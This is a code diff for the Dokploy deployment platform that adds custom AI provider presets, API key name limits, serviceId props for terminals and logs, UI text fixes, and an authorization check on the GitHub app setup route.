diff --git a/apps/dokploy/components/dashboard/mongo/general/show-general-mongo.tsx b/apps/dokploy/components/dashboard/mongo/general/show-general-mongo.tsx
index cc8304108..12c9fdbed 100644
--- a/apps/dokploy/components/dashboard/mongo/general/show-general-mongo.tsx
+++ b/apps/dokploy/components/dashboard/mongo/general/show-general-mongo.tsx
@@ -230,6 +230,7 @@ export const ShowGeneralMongo = ({ mongoId }: Props) => {
 						</TooltipProvider>
 						<DockerTerminalModal
 							appName={data?.appName || ""}
+							serviceId={data?.mongoId}
 							serverId={data?.serverId || ""}
 						>
 							<Button
diff --git a/apps/dokploy/components/dashboard/mysql/general/show-general-mysql.tsx b/apps/dokploy/components/dashboard/mysql/general/show-general-mysql.tsx
index 7b8991c3e..09f9bc5f1 100644
--- a/apps/dokploy/components/dashboard/mysql/general/show-general-mysql.tsx
+++ b/apps/dokploy/components/dashboard/mysql/general/show-general-mysql.tsx
@@ -228,6 +228,7 @@ export const ShowGeneralMysql = ({ mysqlId }: Props) => {
 						</TooltipProvider>
 						<DockerTerminalModal
 							appName={data?.appName || ""}
+							serviceId={data?.mysqlId}
 							serverId={data?.serverId || ""}
 						>
 							<Button
diff --git a/apps/dokploy/components/dashboard/postgres/general/show-general-postgres.tsx b/apps/dokploy/components/dashboard/postgres/general/show-general-postgres.tsx
index 4fb78a298..d76466a46 100644
--- a/apps/dokploy/components/dashboard/postgres/general/show-general-postgres.tsx
+++ b/apps/dokploy/components/dashboard/postgres/general/show-general-postgres.tsx
@@ -234,6 +234,7 @@ export const ShowGeneralPostgres = ({ postgresId }: Props) => {
 						</TooltipProvider>
 						<DockerTerminalModal
 							appName={data?.appName || ""}
+							serviceId={data?.postgresId}
 							serverId={data?.serverId || ""}
 						>
 							<Button
diff --git a/apps/dokploy/components/dashboard/redis/general/show-general-redis.tsx b/apps/dokploy/components/dashboard/redis/general/show-general-redis.tsx
index d95a36897..bcc3f8c19 100644
--- a/apps/dokploy/components/dashboard/redis/general/show-general-redis.tsx
+++ b/apps/dokploy/components/dashboard/redis/general/show-general-redis.tsx
@@ -229,6 +229,7 @@ export const ShowGeneralRedis = ({ redisId }: Props) => {
 						</TooltipProvider>
 						<DockerTerminalModal
 							appName={data?.appName || ""}
+							serviceId={data?.redisId}
 							serverId={data?.serverId || ""}
 						>
 							<Button
diff --git a/apps/dokploy/components/dashboard/settings/ai-form.tsx b/apps/dokploy/components/dashboard/settings/ai-form.tsx
index c3518fdcc..797aad23c 100644
--- a/apps/dokploy/components/dashboard/settings/ai-form.tsx
+++ b/apps/dokploy/components/dashboard/settings/ai-form.tsx
@@ -13,10 +13,14 @@ import {
 } from "@/components/ui/card";
 import { api } from "@/utils/api";
 import { HandleAi } from "./handle-ai";
+import { HandleAiProviders } from "./handle-ai-providers";
 
 export const AiForm = () => {
 	const { data: aiConfigs, refetch, isPending } = api.ai.getAll.useQuery();
 	const { mutateAsync, isPending: isRemoving } = api.ai.delete.useMutation();
+	const { data: currentUser } = api.user.get.useQuery();
+	const isOrgAdmin =
+		currentUser?.role === "owner" || currentUser?.role === "admin";
 
 	return (
 		<div className="w-full">
@@ -30,7 +34,10 @@ export const AiForm = () => {
 							</CardTitle>
 							<CardDescription>Manage your AI configurations</CardDescription>
 						</div>
-						{aiConfigs && aiConfigs?.length > 0 && <HandleAi />}
+						<div className="flex flex-row gap-2">
+							{isOrgAdmin && <HandleAiProviders />}
+							{aiConfigs && aiConfigs?.length > 0 && <HandleAi />}
+						</div>
 					</CardHeader>
 					<CardContent className="space-y-2 py-8 border-t">
 						{isPending ? (
diff --git a/apps/dokploy/components/dashboard/settings/api/add-api-key.tsx b/apps/dokploy/components/dashboard/settings/api/add-api-key.tsx
index c6db49b5d..ece17421a 100644
--- a/apps/dokploy/components/dashboard/settings/api/add-api-key.tsx
+++ b/apps/dokploy/components/dashboard/settings/api/add-api-key.tsx
@@ -32,10 +32,11 @@ import {
 	SelectValue,
 } from "@/components/ui/select";
 import { Switch } from "@/components/ui/switch";
+import { API_KEY_NAME_MAX_LENGTH, apiKeyNameSchema } from "@/lib/api-keys";
 import { api } from "@/utils/api";
 
 const formSchema = z.object({
-	name: z.string().min(1, "Name is required"),
+	name: apiKeyNameSchema,
 	prefix: z.string().optional(),
 	expiresIn: z.number().nullable(),
 	organizationId: z.string().min(1, "Organization is required"),
@@ -159,8 +160,15 @@ export const AddApiKey = () => {
 									<FormItem>
 										<FormLabel>Name</FormLabel>
 										<FormControl>
-											<Input placeholder="My API Key" {...field} />
+											<Input
+												placeholder="My API Key"
+												maxLength={API_KEY_NAME_MAX_LENGTH}
+												{...field}
+											/>
 										</FormControl>
+										<FormDescription>
+											Maximum {API_KEY_NAME_MAX_LENGTH} characters
+										</FormDescription>
 										<FormMessage />
 									</FormItem>
 								)}
diff --git a/apps/dokploy/components/dashboard/settings/cluster/registry/handle-registry.tsx b/apps/dokploy/components/dashboard/settings/cluster/registry/handle-registry.tsx
index e22285c73..fc8cc8a7f 100644
--- a/apps/dokploy/components/dashboard/settings/cluster/registry/handle-registry.tsx
+++ b/apps/dokploy/components/dashboard/settings/cluster/registry/handle-registry.tsx
@@ -227,9 +227,9 @@ export const HandleRegistry = ({ registryId }: Props) => {
 			</DialogTrigger>
 			<DialogContent className="sm:max-w-2xl">
 				<DialogHeader>
-					<DialogTitle>Add a external registry</DialogTitle>
+					<DialogTitle>Add an external registry</DialogTitle>
 					<DialogDescription>
-						Fill the next fields to add a external registry.
+						Fill in the following fields to add an external registry.
 					</DialogDescription>
 				</DialogHeader>
 				{(isError || testRegistryIsError || testRegistryByIdIsError) && (
diff --git a/apps/dokploy/components/dashboard/settings/handle-ai-providers.tsx b/apps/dokploy/components/dashboard/settings/handle-ai-providers.tsx
new file mode 100644
index 000000000..32743a7c2
--- /dev/null
+++ b/apps/dokploy/components/dashboard/settings/handle-ai-providers.tsx
@@ -0,0 +1,158 @@
+"use client";
+import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
+import { PlusIcon, ServerIcon, Trash2 } from "lucide-react";
+import { useEffect, useState } from "react";
+import { useFieldArray, useForm } from "react-hook-form";
+import { toast } from "sonner";
+import { z } from "zod";
+import { Button } from "@/components/ui/button";
+import {
+	Dialog,
+	DialogContent,
+	DialogDescription,
+	DialogHeader,
+	DialogTitle,
+	DialogTrigger,
+} from "@/components/ui/dialog";
+import {
+	Form,
+	FormControl,
+	FormField,
+	FormItem,
+	FormMessage,
+} from "@/components/ui/form";
+import { Input } from "@/components/ui/input";
+import { api } from "@/utils/api";
+
+const Schema = z.object({
+	providers: z.array(
+		z.object({
+			name: z.string().min(1, { message: "Name is required" }),
+			apiUrl: z.string().url({ message: "Please enter a valid URL" }),
+		}),
+	),
+});
+
+type Schema = z.infer<typeof Schema>;
+
+export const HandleAiProviders = () => {
+	const utils = api.useUtils();
+	const [open, setOpen] = useState(false);
+	const { data: providers } = api.ai.getCustomProviders.useQuery();
+	const { mutateAsync, isPending } = api.ai.saveCustomProviders.useMutation();
+
+	const form = useForm<Schema>({
+		resolver: zodResolver(Schema),
+		defaultValues: {
+			providers: [],
+		},
+	});
+
+	const { fields, append, remove } = useFieldArray({
+		control: form.control,
+		name: "providers",
+	});
+
+	useEffect(() => {
+		if (open) {
+			form.reset({ providers: providers ?? [] });
+		}
+	}, [open, providers, form]);
+
+	const onSubmit = async (data: Schema) => {
+		try {
+			await mutateAsync({ providers: data.providers });
+			await utils.ai.getCustomProviders.invalidate();
+			toast.success("Custom providers saved successfully");
+			setOpen(false);
+		} catch (error) {
+			toast.error("Failed to save custom providers", {
+				description: error instanceof Error ? error.message : "Unknown error",
+			});
+		}
+	};
+
+	return (
+		<Dialog open={open} onOpenChange={setOpen}>
+			<DialogTrigger asChild>
+				<Button variant="outline" className="cursor-pointer space-x-3">
+					<ServerIcon className="h-4 w-4" />
+					Custom Presets
+				</Button>
+			</DialogTrigger>
+			<DialogContent className="sm:max-w-xl">
+				<DialogHeader>
+					<DialogTitle>Custom AI Providers</DialogTitle>
+					<DialogDescription>
+						Define your own AI providers, like an internal LLM platform. When at
+						least one is defined, only these providers can be used in AI
+						configurations.
+					</DialogDescription>
+				</DialogHeader>
+				<Form {...form}>
+					<form onSubmit={form.handleSubmit(onSubmit)} className="space-y-4">
+						{fields.length === 0 && (
+							<p className="text-sm text-muted-foreground">
+								No custom providers defined. The built-in provider list will be
+								used.
+							</p>
+						)}
+						{fields.map((fieldItem, index) => (
+							<div key={fieldItem.id} className="flex gap-2 items-start">
+								<FormField
+									control={form.control}
+									name={`providers.${index}.name`}
+									render={({ field }) => (
+										<FormItem className="flex-1">
+											<FormControl>
+												<Input placeholder="Internal LLM" {...field} />
+											</FormControl>
+											<FormMessage />
+										</FormItem>
+									)}
+								/>
+								<FormField
+									control={form.control}
+									name={`providers.${index}.apiUrl`}
+									render={({ field }) => (
+										<FormItem className="flex-[2]">
+											<FormControl>
+												<Input
+													placeholder="https://llm.internal.company/v1"
+													{...field}
+												/>
+											</FormControl>
+											<FormMessage />
+										</FormItem>
+									)}
+								/>
+								<Button
+									type="button"
+									variant="ghost"
+									size="icon"
+									className="group hover:bg-red-500/10"
+									onClick={() => remove(index)}
+								>
+									<Trash2 className="size-4 text-primary group-hover:text-red-500" />
+								</Button>
+							</div>
+						))}
+						<div className="flex justify-between">
+							<Button
+								type="button"
+								variant="outline"
+								onClick={() => append({ name: "", apiUrl: "" })}
+							>
+								<PlusIcon className="h-4 w-4" />
+								Add Provider
+							</Button>
+							<Button type="submit" isLoading={isPending}>
+								Save
+							</Button>
+						</div>
+					</form>
+				</Form>
+			</DialogContent>
+		</Dialog>
+	);
+};
diff --git a/apps/dokploy/components/dashboard/settings/handle-ai.tsx b/apps/dokploy/components/dashboard/settings/handle-ai.tsx
index 6b96236f2..b7cf186e7 100644
--- a/apps/dokploy/components/dashboard/settings/handle-ai.tsx
+++ b/apps/dokploy/components/dashboard/settings/handle-ai.tsx
@@ -99,6 +99,11 @@ export const HandleAi = ({ aiId }: Props) => {
 			enabled: !!aiId,
 		},
 	);
+	const { data: customProviders } = api.ai.getCustomProviders.useQuery();
+	const hasCustomProviders = (customProviders?.length ?? 0) > 0;
+	const providerOptions: { name: string; apiUrl: string }[] = hasCustomProviders
+		? (customProviders ?? [])
+		: [...AI_PROVIDERS];
 	const { mutateAsync, isPending } = aiId
 		? api.ai.update.useMutation()
 		: api.ai.create.useMutation();
@@ -210,7 +215,9 @@ export const HandleAi = ({ aiId }: Props) => {
 							<FormLabel>Provider</FormLabel>
 							<Select
 								onValueChange={(value) => {
-									const provider = AI_PROVIDERS.find((p) => p.apiUrl === value);
+									const provider = providerOptions.find(
+										(p) => p.apiUrl === value,
+									);
 									if (provider) {
 										form.setValue("name", provider.name);
 										form.setValue("apiUrl", provider.apiUrl);
@@ -222,15 +229,20 @@ export const HandleAi = ({ aiId }: Props) => {
 									<SelectValue placeholder="Select a provider preset..." />
 								</SelectTrigger>
 								<SelectContent>
-									{AI_PROVIDERS.map((provider) => (
-										<SelectItem key={provider.apiUrl} value={provider.apiUrl}>
+									{providerOptions.map((provider) => (
+										<SelectItem
+											key={`${provider.name}-${provider.apiUrl}`}
+											value={provider.apiUrl}
+										>
 											{provider.name}
 										</SelectItem>
 									))}
 								</SelectContent>
 							</Select>
 							<p className="text-[0.8rem] text-muted-foreground">
-								Quick-fill provider name and URL, or configure manually below
+								{hasCustomProviders
+									? "Select one of the providers defined by your organization"
+									: "Quick-fill provider name and URL, or configure manually below"}
 							</p>
 						</div>
 
@@ -260,6 +272,7 @@ export const HandleAi = ({ aiId }: Props) => {
 									<FormControl>
 										<Input
 											placeholder="https://api.openai.com/v1"
+											disabled={hasCustomProviders}
 											{...field}
 											onChange={(e) => {
 												field.onChange(e);
@@ -271,7 +284,9 @@ export const HandleAi = ({ aiId }: Props) => {
 										/>
 									</FormControl>
 									<FormDescription>
-										The base URL for your AI provider's API
+										{hasCustomProviders
+											? "The API URL is defined by your organization's providers"
+											: "The base URL for your AI provider's API"}
 									</FormDescription>
 									<FormMessage />
 								</FormItem>
diff --git a/apps/dokploy/components/dashboard/settings/notifications/handle-notifications.tsx b/apps/dokploy/components/dashboard/settings/notifications/handle-notifications.tsx
index 55ed51aa1..ddcef338e 100644
--- a/apps/dokploy/components/dashboard/settings/notifications/handle-notifications.tsx
+++ b/apps/dokploy/components/dashboard/settings/notifications/handle-notifications.tsx
@@ -1828,7 +1828,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
 											<div className="">
 												<FormLabel>App Deploy</FormLabel>
 												<FormDescription>
-													Trigger the action when a app is deployed.
+													Trigger the action when an app is deployed.
 												</FormDescription>
 											</div>
 											<FormControl>
@@ -1890,7 +1890,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
 											<div className="space-y-0.5">
 												<FormLabel>Dokploy Backup</FormLabel>
 												<FormDescription>
-													Trigger the action when a dokploy backup is created.
+													Trigger the action when a Dokploy backup is created.
 												</FormDescription>
 											</div>
 											<FormControl>
@@ -1932,8 +1932,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
 											<div className="space-y-0.5">
 												<FormLabel>Docker Cleanup</FormLabel>
 												<FormDescription>
-													Trigger the action when the docker cleanup is
-													performed.
+													Trigger the action when Docker cleanup is performed.
 												</FormDescription>
 											</div>
 											<FormControl>
@@ -1955,7 +1954,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
 												<div className="space-y-0.5">
 													<FormLabel>Dokploy Restart</FormLabel>
 													<FormDescription>
-														Trigger the action when dokploy is restarted.
+														Trigger the action when Dokploy is restarted.
 													</FormDescription>
 												</div>
 												<FormControl>
diff --git a/apps/dokploy/components/dashboard/settings/profile/enable-2fa.tsx b/apps/dokploy/components/dashboard/settings/profile/enable-2fa.tsx
index 9a2191a0a..cd053d975 100644
--- a/apps/dokploy/components/dashboard/settings/profile/enable-2fa.tsx
+++ b/apps/dokploy/components/dashboard/settings/profile/enable-2fa.tsx
@@ -100,7 +100,7 @@ export const Enable2FA = () => {
 			});
 
 			if (result.error) {
-				if (result.error.code === "INVALID_TWO_FACTOR_AUTHENTICATION") {
+				if (result.error.code === "INVALID_CODE") {
 					toast.error("Invalid verification code");
 					return;
 				}
diff --git a/apps/dokploy/components/dashboard/settings/web-domain.tsx b/apps/dokploy/components/dashboard/settings/web-domain.tsx
index 4f543a1be..187bbb452 100644
--- a/apps/dokploy/components/dashboard/settings/web-domain.tsx
+++ b/apps/dokploy/components/dashboard/settings/web-domain.tsx
@@ -43,7 +43,8 @@ const addServerDomain = z
 			.string()
 			.trim()
 			.toLowerCase()
-			.refine((val) => VALID_HOSTNAME_REGEX.test(val), {
+			// empty clears the server domain and reverts to IP-only access
+			.refine((val) => val === "" || VALID_HOSTNAME_REGEX.test(val), {
 				message: INVALID_HOSTNAME_MESSAGE,
 			}),
 		letsEncryptEmail: z.string(),
@@ -51,7 +52,7 @@ const addServerDomain = z
 		certificateType: z.enum(["letsencrypt", "none", "custom"]),
 	})
 	.superRefine((data, ctx) => {
-		if (data.https && !data.certificateType) {
+		if (data.domain && data.https && !data.certificateType) {
 			ctx.addIssue({
 				code: z.ZodIssueCode.custom,
 				path: ["certificateType"],
@@ -59,6 +60,7 @@ const addServerDomain = z
 			});
 		}
 		if (
+			data.domain &&
 			data.https &&
 			data.certificateType === "letsencrypt" &&
 			!data.letsEncryptEmail
diff --git a/apps/dokploy/components/dashboard/settings/web-server/docker-terminal-modal.tsx b/apps/dokploy/components/dashboard/settings/web-server/docker-terminal-modal.tsx
index 599dba57b..48d1bb567 100644
--- a/apps/dokploy/components/dashboard/settings/web-server/docker-terminal-modal.tsx
+++ b/apps/dokploy/components/dashboard/settings/web-server/docker-terminal-modal.tsx
@@ -40,6 +40,7 @@ interface Props {
 	children?: React.ReactNode;
 	serverId?: string;
 	appType?: "stack" | "docker-compose";
+	serviceId?: string;
 }
 
 export const DockerTerminalModal = ({
@@ -47,6 +48,7 @@ export const DockerTerminalModal = ({
 	appName,
 	serverId,
 	appType,
+	serviceId,
 }: Props) => {
 	const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery(
 		{
@@ -131,6 +133,7 @@ export const DockerTerminalModal = ({
 					serverId={serverId || ""}
 					id="terminal"
 					containerId={containerId || "select-a-container"}
+					serviceId={serviceId}
 				/>
 				<Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}>
 					<DialogContent onEscapeKeyDown={(event) => event.preventDefault()}>
diff --git a/apps/dokploy/components/layouts/side.tsx b/apps/dokploy/components/layouts/side.tsx
index 6763898e8..c12c8a657 100644
--- a/apps/dokploy/components/layouts/side.tsx
+++ b/apps/dokploy/components/layouts/side.tsx
@@ -648,7 +648,7 @@ function SidebarLogo() {
 								</SidebarMenuButton>
 							</DropdownMenuTrigger>
 							<DropdownMenuContent
-								className="rounded-lg max-h-[min(70vh,28rem)] flex flex-col"
+								className="w-64 rounded-lg max-h-[min(70vh,28rem)] flex flex-col"
 								align="start"
 								side={isMobile ? "bottom" : "right"}
 								sideOffset={4}
diff --git a/apps/dokploy/components/ui/command.tsx b/apps/dokploy/components/ui/command.tsx
index 5946df786..634e4c1aa 100644
--- a/apps/dokploy/components/ui/command.tsx
+++ b/apps/dokploy/components/ui/command.tsx
@@ -151,13 +151,15 @@ function CommandItem({
 		<CommandPrimitive.Item
 			data-slot="command-item"
 			className={cn(
-				"group/command-item relative flex cursor-default items-center gap-2 rounded-sm px-2 py-1.5 in-data-[slot=dialog-content]:py-3 text-sm outline-hidden select-none in-data-[slot=dialog-content]:rounded-lg! data-[disabled=true]:pointer-events-none data-[disabled=true]:opacity-50 data-selected:bg-muted data-selected:text-foreground [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 in-data-[slot=dialog-content]:[&_svg:not([class*='size-'])]:size-5 data-selected:*:[svg]:text-foreground",
+				"group/command-item relative flex cursor-default items-center gap-2 rounded-md px-2 py-1.5 in-data-[slot=dialog-content]:py-3 text-sm outline-hidden select-none in-data-[slot=dialog-content]:rounded-lg! data-[disabled=true]:pointer-events-none data-[disabled=true]:opacity-50 data-selected:bg-muted data-selected:text-foreground [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 in-data-[slot=dialog-content]:[&_svg:not([class*='size-'])]:size-5 data-selected:*:[svg]:text-foreground",
 				className,
 			)}
 			{...props}
 		>
 			{children}
-			<CheckIcon className="ml-auto opacity-0 group-has-data-[slot=command-shortcut]/command-item:hidden group-data-[checked=true]/command-item:opacity-100" />
+			{"data-checked" in props && (
+				<CheckIcon className="ml-auto opacity-0 group-has-data-[slot=command-shortcut]/command-item:hidden group-data-[checked=true]/command-item:opacity-100" />
+			)}
 		</CommandPrimitive.Item>
 	);
 }
diff --git a/apps/dokploy/components/ui/select.tsx b/apps/dokploy/components/ui/select.tsx
index a78df1b44..e4c7518bd 100644
--- a/apps/dokploy/components/ui/select.tsx
+++ b/apps/dokploy/components/ui/select.tsx
@@ -80,7 +80,7 @@ function SelectContent({
 				<SelectPrimitive.Viewport
 					data-position={position}
 					className={cn(
-						"data-[position=popper]:h-(--radix-select-trigger-height) data-[position=popper]:w-full data-[position=popper]:min-w-(--radix-select-trigger-width)",
+						"p-1 data-[position=popper]:h-(--radix-select-trigger-height) data-[position=popper]:w-full data-[position=popper]:min-w-(--radix-select-trigger-width)",
 						position === "popper" && "",
 					)}
 				>
@@ -114,7 +114,7 @@ function SelectItem({
 		<SelectPrimitive.Item
 			data-slot="select-item"
 			className={cn(
-				"relative flex w-full cursor-default items-center gap-1.5 rounded-md py-1 pr-8 pl-1.5 text-sm outline-hidden select-none focus:bg-accent focus:text-accent-foreground not-data-[variant=destructive]:focus:**:text-accent-foreground data-disabled:pointer-events-none data-disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 *:[span]:last:flex *:[span]:last:items-center *:[span]:last:gap-2",
+				"relative flex w-full cursor-default items-center gap-1.5 rounded-md py-1.5 pr-8 pl-2 text-sm outline-hidden select-none focus:bg-accent focus:text-accent-foreground not-data-[variant=destructive]:focus:**:text-accent-foreground data-disabled:pointer-events-none data-disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 *:[span]:last:flex *:[span]:last:items-center *:[span]:last:gap-2",
 				className,
 			)}
 			{...props}
diff --git a/apps/dokploy/lib/api-keys.ts b/apps/dokploy/lib/api-keys.ts
new file mode 100644
index 000000000..b64e3e0a9
--- /dev/null
+++ b/apps/dokploy/lib/api-keys.ts
@@ -0,0 +1,23 @@
+import { z } from "zod";
+
+/**
+ * Maximum length allowed for an API key name.
+ *
+ * This mirrors the default `maximumNameLength` enforced by the
+ * `@better-auth/api-key` plugin. Names longer than this are rejected by
+ * better-auth with a 400, so we validate against it up front to surface a
+ * clear field-level error instead of an opaque 500.
+ */
+export const API_KEY_NAME_MAX_LENGTH = 32;
+
+/**
+ * Shared validation for an API key name, used by both the tRPC input schema
+ * and the client form so the two can't drift.
+ */
+export const apiKeyNameSchema = z
+	.string()
+	.min(1, "Name is required")
+	.max(
+		API_KEY_NAME_MAX_LENGTH,
+		`Name must be at most ${API_KEY_NAME_MAX_LENGTH} characters`,
+	);
diff --git a/apps/dokploy/package.json b/apps/dokploy/package.json
index a64c3a597..f6b4aeb2d 100644
--- a/apps/dokploy/package.json
+++ b/apps/dokploy/package.json
@@ -1,6 +1,6 @@
 {
 	"name": "dokploy",
-	"version": "v0.29.12",
+	"version": "v0.29.13",
 	"private": true,
 	"license": "Apache-2.0",
 	"type": "module",
diff --git a/apps/dokploy/pages/api/providers/github/setup.ts b/apps/dokploy/pages/api/providers/github/setup.ts
index 663939c5e..fc8869938 100644
--- a/apps/dokploy/pages/api/providers/github/setup.ts
+++ b/apps/dokploy/pages/api/providers/github/setup.ts
@@ -1,5 +1,6 @@
-import { createGithub } from "@dokploy/server";
+import { createGithub, validateRequest } from "@dokploy/server";
 import { db } from "@dokploy/server/db";
+import { hasPermission } from "@dokploy/server/services/permission";
 import { eq } from "drizzle-orm";
 import type { NextApiRequest, NextApiResponse } from "next";
 import { Octokit } from "octokit";
@@ -21,18 +22,22 @@ export default async function handler(
 	if (!code) {
 		return res.status(400).json({ error: "Missing code parameter" });
 	}
-	const [action, ...rest] = state?.split(":");
-	// For gh_init: rest[0] = organizationId, rest[1] = userId
-	// For gh_setup: rest[0] = githubProviderId
+
+	const { user, session } = await validateRequest(req);
+	if (!user || !session?.activeOrganizationId) {
+		return res.status(401).json({ error: "Unauthorized" });
+	}
+	const ctx = {
+		user: { id: user.id },
+		session: { activeOrganizationId: session.activeOrganizationId },
+	};
+
+	const [action] = state?.split(":") ?? [];
+	if (!(await hasPermission(ctx, { gitProviders: ["create"] }))) {
+		return res.status(403).json({ error: "Forbidden" });
+	}
 
 	if (action === "gh_init") {
-		const organizationId = rest[0];
-		const userId = rest[1] || (req.query.userId as string);
-
-		if (!userId) {
-			return res.status(400).json({ error: "Missing userId parameter" });
-		}
-
 		const octokit = new Octokit({});
 		const { data } = await octokit.request(
 			"POST /app-manifests/{code}/conversions",
@@ -51,16 +56,32 @@ export default async function handler(
 				githubWebhookSecret: data.webhook_secret,
 				githubPrivateKey: data.pem,
 			},
-			organizationId as string,
-			userId,
+			session.activeOrganizationId,
+			user.id,
 		);
 	} else if (action === "gh_setup") {
+		const githubId = state?.split(":")[1];
+		if (!githubId) {
+			return res.status(400).json({ error: "Missing github provider id" });
+		}
+
+		const provider = await db.query.github.findFirst({
+			where: eq(github.githubId, githubId),
+			with: { gitProvider: true },
+		});
+		if (
+			!provider ||
+			provider.gitProvider.organizationId !== session.activeOrganizationId
+		) {
+			return res.status(404).json({ error: "Github provider not found" });
+		}
+
 		await db
 			.update(github)
 			.set({
 				githubInstallationId: installation_id,
 			})
-			.where(eq(github.githubId, rest[0] as string))
+			.where(eq(github.githubId, githubId))
 			.returning();
 	}
 
diff --git a/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/application/[applicationId].tsx b/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/application/[applicationId].tsx
index 86e75fd2d..fb43c186f 100644
--- a/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/application/[applicationId].tsx
+++ b/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/application/[applicationId].tsx
@@ -347,6 +347,7 @@ const Service = (
 												<ShowDockerLogs
 													appName={data?.appName || ""}
 													serverId={data?.serverId || ""}
+													serviceId={data?.applicationId}
 												/>
 											</div>
 										</TabsContent>
diff --git a/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/compose/[composeId].tsx b/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/compose/[composeId].tsx
index 76ad824ca..bebee1f2d 100644
--- a/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/compose/[composeId].tsx
+++ b/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/compose/[composeId].tsx
@@ -312,6 +312,7 @@ const Service = (
 													serverId={data?.serverId || undefined}
 													appName={data?.appName || ""}
 													appType={data?.composeType || "docker-compose"}
+													serviceId={data?.composeId}
 												/>
 											</div>
 										</TabsContent>
@@ -380,11 +381,13 @@ const Service = (
 														serverId={data?.serverId || ""}
 														appName={data?.appName || ""}
 														appType={data?.composeType || "docker-compose"}
+														serviceId={data?.composeId}
 													/>
 												) : (
 													<ShowDockerLogsStack
 														serverId={data?.serverId || ""}
 														appName={data?.appName || ""}
+														serviceId={data?.composeId}
 													/>
 												)}
 											</div>
diff --git a/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/libsql/[libsqlId].tsx b/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/libsql/[libsqlId].tsx
index 9a633c176..a343660c1 100644
--- a/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/libsql/[libsqlId].tsx
+++ b/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/libsql/[libsqlId].tsx
@@ -269,6 +269,7 @@ const Libsql = (
 											<ShowDockerLogs
 												serverId={data?.serverId || ""}
 												appName={data?.appName || ""}
+												serviceId={data?.libsqlId}
 											/>
 										</div>
 									</TabsContent>
diff --git a/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/mariadb/[mariadbId].tsx b/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/mariadb/[mariadbId].tsx
index 47ec1a6ff..71d7e6f59 100644
--- a/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/mariadb/[mariadbId].tsx
+++ b/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/mariadb/[mariadbId].tsx
@@ -299,6 +299,7 @@ const Mariadb = (
 												<ShowDockerLogs
 													serverId={data?.serverId || ""}
 													appName={data?.appName || ""}
+													serviceId={data?.mariadbId}
 												/>
 											</div>
 										</TabsContent>
diff --git a/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/mongo/[mongoId].tsx b/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/mongo/[mongoId].tsx
index 6074ed7ed..c5e7baf36 100644
--- a/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/mongo/[mongoId].tsx
+++ b/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/mongo/[mongoId].tsx
@@ -299,6 +299,7 @@ const Mongo = (
 												<ShowDockerLogs
 													serverId={data?.serverId || ""}
 													appName={data?.appName || ""}
+													serviceId={data?.mongoId}
 												/>
 											</div>
 										</TabsContent>
diff --git a/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/mysql/[mysqlId].tsx b/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/mysql/[mysqlId].tsx
index 3b6edf170..0460f0239 100644
--- a/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/mysql/[mysqlId].tsx
+++ b/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/mysql/[mysqlId].tsx
@@ -276,6 +276,7 @@ const MySql = (
 													<ShowDockerLogs
 														serverId={data?.serverId || ""}
 														appName={data?.appName || ""}
+														serviceId={data?.mysqlId}
 													/>
 												</div>
 											</TabsContent>
diff --git a/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/postgres/[postgresId].tsx b/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/postgres/[postgresId].tsx
index 36cef637d..78612b61c 100644
--- a/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/postgres/[postgresId].tsx
+++ b/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/postgres/[postgresId].tsx
@@ -284,6 +284,7 @@ const Postgresql = (
 												<ShowDockerLogs
 													serverId={data?.serverId || ""}
 													appName={data?.appName || ""}
+													serviceId={data?.postgresId}
 												/>
 											</div>
 										</TabsContent>
diff --git a/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/redis/[redisId].tsx b/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/redis/[redisId].tsx
index 7adc36c66..530eef210 100644
--- a/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/redis/[redisId].tsx
+++ b/apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/redis/[redisId].tsx
@@ -297,6 +297,7 @@ const Redis = (
 												<ShowDockerLogs
 													serverId={data?.serverId || ""}
 													appName={data?.appName || ""}
+													serviceId={data?.redisId}
 												/>
